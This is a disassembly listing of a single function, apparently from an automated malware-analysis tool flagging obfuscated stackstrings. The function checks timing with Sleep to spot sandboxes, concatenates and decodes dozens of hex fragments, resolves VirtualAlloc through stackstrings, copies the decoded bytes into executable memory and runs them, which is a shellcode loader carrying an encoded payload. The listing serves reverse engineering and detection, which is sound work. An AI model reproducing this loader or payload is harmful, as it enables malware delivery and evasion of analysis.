Function at 0x401893
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x640
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x5e0], ecx
mov qword [rbp + 0x5e8], rdx
call dbg.__main
call sym.clock
mov dword [rbp + 0x5bc], eax
mov eax, dword [0x00404014]
add eax, eax
mov dword [0x00404014], eax
mov ecx, 0x284
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
call sym.clock
mov dword [rbp + 0x5b8], eax
mov ecx, 0x6fc
call sym.malloc
mov qword [rbp + 0x5b0], rax
mov eax, dword [rbp + 0x5b8]
sub eax, dword [rbp + 0x5bc]
cmp eax, 0x283
jle 0x40248b
mov eax, dword [rbp + 0x5b8]
sub eax, dword [rbp + 0x5bc]
cmp eax, 0x2e7
jg 0x40248b
mov eax, dword [0x00404014]
add eax, eax
mov dword [0x00404014], eax
lea rcx, str.hKhLvIt
call sym.printf
lea rax, str.98e055465842704cc62c4e48846178086d484ef8444ac0e423d84608448d455484e584f0
mov qword [rbp + 0x5a8], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
lea rax, str.7675ef404444453ae4424454b9d5cddc0845f886444ffc40fc90c80e0af773276663543535434454544524636266666767
mov qword [rbp + 0x5a0], rax
mov dword [0x00404014], 0
lea rax, str.27662633272067676656720662726277606746626
mov qword [rbp + 0x598], rax
mov dword [0x00404014], 0
lea rax, str.2670646276326622353235672245733666
mov qword [rbp + 0x590], rax
mov dword [0x00404014], 0
lea rax, str.60245535322420f54b4
mov qword [rbp + 0x588], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
lea rax, str.b0b0b5d5888b08b8dcc648d5a0ef33233008
mov qword [rbp + 0x580], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.3080011026825b28b8820b28faa1910c12c11d112218b0bc8068825b000854710b8
mov qword [rbp + 0x578], rax
mov dword [0x00404014], 0
lea rax, str.4b09038f1b886d980c1911801cc459584b4906bc4bc90148
mov qword [rbp + 0x570], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
lea rax, str.1081e918918301
mov qword [rbp + 0x568], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.f0198b9fffa0e7e954169691ac6758982d0d9110aa97
mov qword [rbp + 0x560], rax
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.5ba811720d
mov qword [rbp + 0x558], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.9111311a9ff59b91129819800421b5bf89830af818a90fff1921d6bf505d00ff4c003910
mov qword [rbp + 0x550], rax
mov edx, dword [0x00404014]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
lea rax, str.82ffa152d33ee39dd9ea051001b40a540e73974531d31e12d149923d01354
mov qword [rbp + 0x548], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
sub edx, eax
mov eax, edx
mov dword [0x00404014], eax
lea rax, str.a454f4dc10c319ff84db8cc009349efdc1de9afb10eda3304c1757505d5c5b10ed
mov qword [rbp + 0x540], rax
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
sub edx, eax
mov eax, edx
mov dword [0x00404010], eax
lea rax, str.a5625a044af3f5e152
mov qword [rbp + 0x538], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
lea rax, str.93ffd1350d53f9ea0a9c05614d
mov qword [rbp + 0x530], rax
mov eax, dword [0x00404014]
add eax, eax
mov dword [0x00404014], eax
lea rax, str.a35d15ea0faccf500794f3040e307e6b0640494
mov qword [rbp + 0x528], rax
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
lea rax, str.e47eb01ca302a1e00cb575bfa0f1500bc085809739d4932d40e026589a00180019001a43f53389898
mov qword [rbp + 0x520], rax
mov dword [0x00404010], 0
lea rax, str.91800991a69f5345066783557885f0038
mov qword [rbp + 0x518], rax
mov dword [0x00404010], 0
lea rax, str.df10e16e7971000f4efc00445553d486451854854b44343a37024c00ce554524
mov qword [rbp + 0x510], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
lea rax, str.30d8700788004c7405814420d54c4380d3c3c4c04c37f0404d754420d4844410d80404555544554e25f5
mov qword [rbp + 0x508], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
lea rax, str.4541eff564b66660448484b72fd3c3d3c3c544b57fd758cb9003c54605458cfe548434843560455
mov qword [rbp + 0x500], rax
mov dword [0x00404010], 0
lea rax, str.be23d4c4c5058f8dccff4355b217d808004f0800ede00eff
mov qword [rbp + 0x4f8], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
sub edx, eax
mov eax, edx
mov dword [0x00404014], eax
lea rax, str.267672233266266270422455555325234272445254444245545550667727776
mov qword [rbp + 0x4f0], rax
mov edx, dword [0x00404014]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
lea rax, str.76277667662
mov qword [rbp + 0x4e8], rax
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
add eax, edx
mov dword [0x00404010], eax
lea rax, str.67626667666766763732222333304667246666326252633330566
mov qword [rbp + 0x4e0], rax
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
lea rax, str.7736773266667672662046672666663677266666057726673466662232566774532326633733276662333
mov qword [rbp + 0x4d8], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
lea rax, str.4444327332226624660034524535553252443744
mov qword [rbp + 0x4d0], rax
mov dword [0x00404010], 0
lea rax, str.45554bbafd3c0004010440045ae
mov qword [rbp + 0x4c8], rax
mov eax, dword [0x00404014]
add eax, eax
mov dword [0x00404014], eax
lea rax, str.f4954e4f4d40204f419ef48287b800cc75540005c9ff3323333230000c480111802b807d8cc091d12211b2800808
mov qword [rbp + 0x4c0], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
lea rax, str.016941111d153818011801b818a1ac28a2fd99e09c17f1111016f398011a176b889d222ae563a997fd2a85
mov qword [rbp + 0x4b8], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
lea rax, str.f18f1b40ff5
mov qword [rbp + 0x4b0], rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
sub edx, eax
mov eax, edx
mov dword [0x00404014], eax
lea rax, str.9e2cee3f50c8893d92444e65430088c094e8cd1c1f8b0cad815de1ae3ed525280f4a5ed
mov qword [rbp + 0x4a8], rax
mov edx, dword [0x00404014]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
lea rax, str.a34e47704c55274d91e8e7e6b948b25f0d5b619903d5014a4e3751315f1000000858371a00922804b1088f0ff341e00
mov qword [rbp + 0x4a0], rax
mov eax, dword [0x00404014]
add eax, eax
mov dword [0x00404014], eax
mov qword [rbp - 0x40], 0
mov qword [rbp - 0x38], 0
lea rdx, [rbp - 0x30]
mov eax, 0
mov ecx, 0x93
mov rdi, rdx
rep stosq qword [rdi], rax
mov rdx, rdi
mov byte [rdx], al
add rdx, 1
mov rdx, qword [rbp + 0x5a8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcpy
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
sub edx, eax
mov eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x5a0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x598]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov dword [0x00404014], 0
mov rdx, qword [rbp + 0x590]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov dword [0x00404014], 0
mov rdx, qword [rbp + 0x588]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x580]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
add eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x578]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
sub edx, eax
mov eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x570]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
add eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x568]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x560]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
sub edx, eax
mov eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x558]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x550]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x548]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x540]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x538]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x530]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov dword [0x00404014], 0
mov rdx, qword [rbp + 0x528]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x520]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x518]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x510]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x508]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov dword [0x00404010], 0
mov rdx, qword [rbp + 0x500]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
sub edx, eax
mov eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4f8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4f0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x4e8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
sub edx, eax
mov eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x4e0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x4d8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404010]
add eax, eax
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4d0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4c8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov eax, dword [0x00404014]
add eax, eax
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x4c0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
sub edx, eax
mov eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4b8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
imul eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x4b0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
add eax, edx
mov dword [0x00404014], eax
mov rdx, qword [rbp + 0x4a8]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404010]
mov eax, dword [0x00404010]
imul eax, edx
mov dword [0x00404010], eax
mov rdx, qword [rbp + 0x4a0]
mov rax, qword [rbp + 0x5b0]
mov rcx, rax
call sym.strcat
mov edx, dword [0x00404014]
mov eax, dword [0x00404010]
add eax, edx
mov dword [0x00404010], eax
mov rax, qword [rbp + 0x5b0]
lea rdx, [0x00405788]
mov rcx, rax
call sym.WsPU
mov qword [rbp + 0x498], rax
mov rdx, qword [rbp + 0x498]
lea rax, [rbp - 0x40]
mov rcx, rax
call sym.GThILExG
mov byte [rbp - 0x4d], 0x56
mov byte [rbp - 0x4c], 0x69
mov byte [rbp - 0x4b], 0x72
mov byte [rbp - 0x4a], 0x74
mov byte [rbp - 0x49], 0x75
mov byte [rbp - 0x48], 0x61
mov byte [rbp - 0x47], 0x6c
mov byte [rbp - 0x46], 0x41
mov byte [rbp - 0x45], 0x6c
mov byte [rbp - 0x44], 0x6c
mov byte [rbp - 0x43], 0x6f
mov byte [rbp - 0x42], 0x63
mov byte [rbp - 0x41], 0
lea rax, [rbp - 0x4d]
mov qword [rbp + 0x490], rax
mov byte [rbp - 0x56], 0x6b
mov byte [rbp - 0x55], 0x65
mov byte [rbp - 0x54], 0x72
mov byte [rbp - 0x53], 0x6e
mov byte [rbp - 0x52], 0x65
mov byte [rbp - 0x51], 0x6c
mov byte [rbp - 0x50], 0x33
mov byte [rbp - 0x4f], 0x32
mov byte [rbp - 0x4e], 0
lea rax, [rbp - 0x56]
mov qword [rbp + 0x488], rax
mov rax, qword [rbp + 0x488]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
mov rax, qword [rbp + 0x490]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x480], rax
mov rax, qword [rbp + 0x480]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x4a9
mov ecx, 0
call rax
mov qword [rbp + 0x478], rax
mov rax, qword [rbp + 0x478]
mov rdx, rax
lea rax, [rbp - 0x40]
mov ecx, 0x4a9
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x478]
call rax
mov edx, dword [0x00404010]
mov eax, dword [0x00404014]
add edx, eax
mov eax, dword [0x00404018]
add eax, edx
mov edx, eax
lea rcx, [0x0040578a]
call sym.printf
jmp 0x4024a2
mov dword [0x00404014], 0
lea rcx, str.hKhLvIt
call sym.printf
nop
add rsp, 0x640
pop rsi
pop rdi
pop rbp
ret